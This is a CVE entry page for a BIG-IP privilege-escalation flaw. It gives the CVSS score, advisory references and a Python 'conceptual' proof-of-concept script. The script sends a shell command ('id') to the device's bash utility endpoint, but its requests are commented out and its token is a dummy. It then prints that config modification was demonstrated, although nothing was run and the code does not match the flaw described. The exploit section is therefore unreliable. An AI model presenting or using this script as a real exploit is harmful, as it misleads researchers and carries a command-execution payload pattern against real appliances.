CVE-2026-41953

Description

A vulnerability exists in BIG-IP systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can modify configuration objects resulting in privilege escalation. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

CVSS Details

CVSS Score

8.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

具体受影响版本请参考F5官方安全公告K000160975

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-41953 (Conceptual)
import requests

def exploit(target_url, username, password):
    session = requests.Session()
    # Step 1: Authenticate as Resource Administrator
    login_payload = {'username': username, 'password': password}
    # session.post(f"{target_url}/mgmt/shared/authn/login", json=login_payload)
    # Assume token obtained
    token = "dummy_token"
    
    headers = {
        'X-F5-Auth-Token': token,
        'Content-Type': 'application/json'
    }
    
    # Step 2: Modify configuration object to escalate privileges
    # Vulnerable endpoint example
    exploit_payload = {
        "command": "run",
        "utilCmdArgs": "-c 'id'"
    }
    
    # response = session.post(f"{target_url}/mgmt/tm/util/bash", json=exploit_payload, headers=headers, verify=False)
    # print(response.text)
    print("[+] Conceptual PoC executed to demonstrate config modification.")

if __name__ == "__main__":
    exploit("https://<target>", "resource_admin", "password")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41953
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41953
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41953/
[4] VulDB https://vuldb.com/cve/CVE-2026-41953
[5] https://my.f5.com/manage/s/article/K000160975

Raw JSON Data

JSON

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